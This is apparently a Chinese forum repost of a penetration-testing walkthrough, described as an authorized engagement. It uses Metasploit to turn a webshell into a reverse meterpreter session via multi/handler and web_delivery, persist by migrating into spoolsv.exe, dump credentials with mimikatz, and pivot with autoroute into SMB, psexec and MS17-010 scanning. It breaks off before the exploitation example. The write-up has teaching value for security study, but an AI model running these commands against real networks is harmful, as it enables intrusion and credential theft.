搜索

[27965] 2019-12-17_【基础向】实战讲解内网渗透思路

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2019-12-17_【基础向】实战讲解内网渗透思路 【 基 础 向 】 实 战 讲 解 内 网 渗 透 思 路 O t s 安 全   2 0 1 9 - 1 2 - 1 7 简 介 简 介 本 次 测 试 为 实 战 测 试 ， 测 试 环 境 是 授 权 项 目 中 的 一 部 分 ， 敏 感 信 息 内 容 已 做 打 码 处 理 ， 仅 供 讨 论 学 习 。 由 于 本 人 在 内 网 方 面 的 掌 握 也 是 属 于 新 手 阶 段 ， 运 用 到 的 一 些 m s f 攻 击 手 法 也 很 基 础 ， 请 各 位 表 哥 多 多 指 教 。 获 得 获 得 s h e l l G e t s h e l l 的 过 程 没 什 么 好 说 的 ， 无 非 简 单 的 后 台 弱 口 令 到 上 传 然 后 冰 蝎 连 接 g e t s h e l l 。 获 得 s h e l l 后 ， 模 拟 终 端 p i n g   8 . 8 . 8 . 8 有 返 回 包 ， 说 明 该 服 务 器 与 外 网 互 通 。 既 然 跟 外 网 互 通 ， 那 么 可 以 尝 试 直 接 使 用 m s f 的 e x p l o i t / m u l t i / h a n d l e r 配 合 冰 蝎 反 弹 s h e l l 来 获 得 s e s s i o n u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   5 6 6 5 r u n
但 是 结 果 很 不 尽 人 意 ， 没 能 够 成 功 获 得 s e s s i o n 。 在 使 用 冰 蝎 模 拟 终 端 收 集 信 息 过 程 中 ， 发 现 本 地 有 p o w e r s h e l l 进 程 。 再 次 打 开 m s f ， 本 次 尝 试 使 用 w e b _ d e l i v e r y 配 合 终 端 执 行 p o w e r s h e l l 指 令 来 获 得 s e s s i o n 。 U s e r   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y S e t   t a r g e t s   2 s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   4 3 3 2 s e t   s r v p o r t r u n
获 得 p a y l o a d ， 使 用 冰 蝎 或 者 C 刀 模 拟 终 端 直 接 执 行 ， 成 功 获 得 s e s s i o n ， 执 行 g e t u i d 发 现 权 限 为 s y s t e m 权 限 ， 省 去 了 提 权 过 程 。 权 限 维 持 权 限 维 持 为 了 获 得 一 个 持 久 稳 定 的 高 权 限 s e s s i o n ， 我 们 需 要 将 当 前 的 s e s s i o n 进 程 迁 移 到 一 个 持 久 、 坚 挺 又 稳 定 的 进 程 上 ， 防 止 突 然 暴 毙 （ 咳 咳 ） 我 们 使 用 p s 查 看 当 前 进 程 ， 然 后 选 中 一 个 看 起 来 比 较 持 久 的 幸 运 儿 s p o o l s v . e x e ( 这 是 一 个 用 来 控 制 打 印 的 进 程 ， 我 遇 到 的 机 器 基 本 都 开 启 了 此 进 程 ) 注 意 ： 选 择 进 程 的 时 候 优 先 选 择 系 统 进 程 ， 这 种 比 较 持 久 且 为 s y s t e m 权 限 m i g r a t e   进 程 号 g e t p i d
内 网 信 息 搜 集 内 网 信 息 搜 集 不 管 是 在 什 么 类 型 的 渗 透 环 境 下 ， 信 息 搜 集 永 远 是 不 可 缺 少 的 一 环 ， 他 决 定 了 你 渗 透 的 效 率 ， 可 以 让 你 在 渗 透 过 程 中 少 走 很 多 弯 路 ， 毕 竟 在 项 目 上 尤 其 是 红 蓝 攻 防 中 ， 最 缺 的 永 远 是 时 间 接 下 来 ， 查 看 I P 信 息 以 及 a r p 缓 存 ， 查 看 网 段 分 布 情 况 ：

发 现 该 服 务 器 只 存 在 1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 网 段 的 信 息 于 是 继 续 查 看 其 他 信 息 N e t s t a t   - a n o 发 现 服 务 器 开 放 3 3 8 9 端 口 ：
既 然 开 启 了 3 3 8 9 端 口 ， 我 们 使 用 端 口 转 发 ， 登 录 到 服 务 器 看 看 有 没 有 意 外 收 获 。 p o r t f w d   a d d   - l   6 6 6 6   - p   3 3 8 9   - r   1 2 7 . 0 . 0 . 1 I P 有 了 ， 3 3 8 9 开 了 ， 现 在 我 们 缺 少 的 是 用 户 名 密 码 直 接 m e t e r p r e t e r 下 加 载 m i m i k a t z L o a d   m i m i k a t z W d i g e s t 比 较 遗 憾 的 是 没 能 获 取 到 明 文 密 码 ， 但 是 我 这 边 使 用 c o b a l t   s t r i k e 加 载 的 m i m i k a t z 成 功 获 取 到 明 文 密 码 e m m m 总 之 搞 不 懂 的 地 方 先 归 为 玄 学 问 题
现 在 ， 密 码 也 有 了 ， m s t s c 链 接 目 标 3 3 8 9 端 口 成 功 此 处 涉 及 的 敏 感 信 息 较 多 ， 放 弃 截 图 ， 我 尽 量 用 语 言 表 述 清 楚 思 路 上 传 n e t p a s s 查 看 r d p 缓 存 ， 无 果 ， 但 是 发 现 系 统 有 V N C V N C : V N C   ( V i r t u a l   N e t w o r k   C o n s o l e ) 是 虚 拟 网 络 控 制 台 的 缩 写 ， 是 一 款 远 程 控 制 工 具 软 件 。 查 看 V N C 相 关 文 件 发 现 新 的 网 段 信 息 ， 但 是 没 有 保 存 的 连 接 信 息 ， 不 过 能 获 得 新 的 网 段 信 息 也 是 知 足 了
横 向 横 向 至 此 ， 信 息 收 集 部 分 其 实 也 就 差 不 多 ， 接 下 来 我 们 开 始 尝 试 横 向 移 动 根 据 之 前 发 现 的 网 段 信 息 以 及 服 务 器 本 机 的 路 由 信 息 ， 我 们 手 动 添 加 路 由 R u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 R u n   a u t o r o u t e   - s   1 7 2 . 1 6 . 0 . 0 / 2 4 … … 其 他 网 段 同 理 ， 添 加 路 由 之 后 b g 退 回 到 控 制 台 先 使 用 a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n 模 块 扫 描 一 下 各 网 段 的 s m b 服 务 开 启 情 况 U s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   t h r e a d s   1 0 r u n 可 以 看 到 ， 活 着 的 机 器 还 挺 多 。 然 后 ， 使 用 a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s 模 块 配 合 已 获 得 的 两 组 账 户 密 码 进 行 横 向 U s e   a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s S e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 S e t   s m b u s e r   u s e r n a m e S e t   s m b p a s s   p a s s w o r d S e t   t h r e a d s   5 r u n
尴 尬 ， 横 向 失 败 ， 居 然 没 有 用 同 账 户 密 码 既 然 横 向 失 败 ， 可 以 考 虑 最 简 单 的 ， 但 也 是 最 实 用 的 大 杀 器 ， m s 1 7 - 0 1 0 先 使 用 s c a n n e r 模 块 扫 描 一 下 哪 些 机 器 可 能 存 在 m s 1 7 - 0 1 0 的 漏 洞 U s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 S e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 S e t   t h r e a d   2 0 R u n 由 于 打 m s 1 7 - 0 1 0 的 流 量 比 较 大 ， 为 了 防 止 死 掉 ， 我 根 据 扫 描 出 来 的 结 果 ， 针 对 性 的 选 择 一 台 感 觉 比 较 容 易 搞 的 目 标 ， 单 独 打 。 此 处 试 了 很 多 机 器 ， 好 多 都 打 了 补 丁 ， 不 过 也 有 漏 网 之 鱼 ， 此 处 单 独 拿 一 台 示 例 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理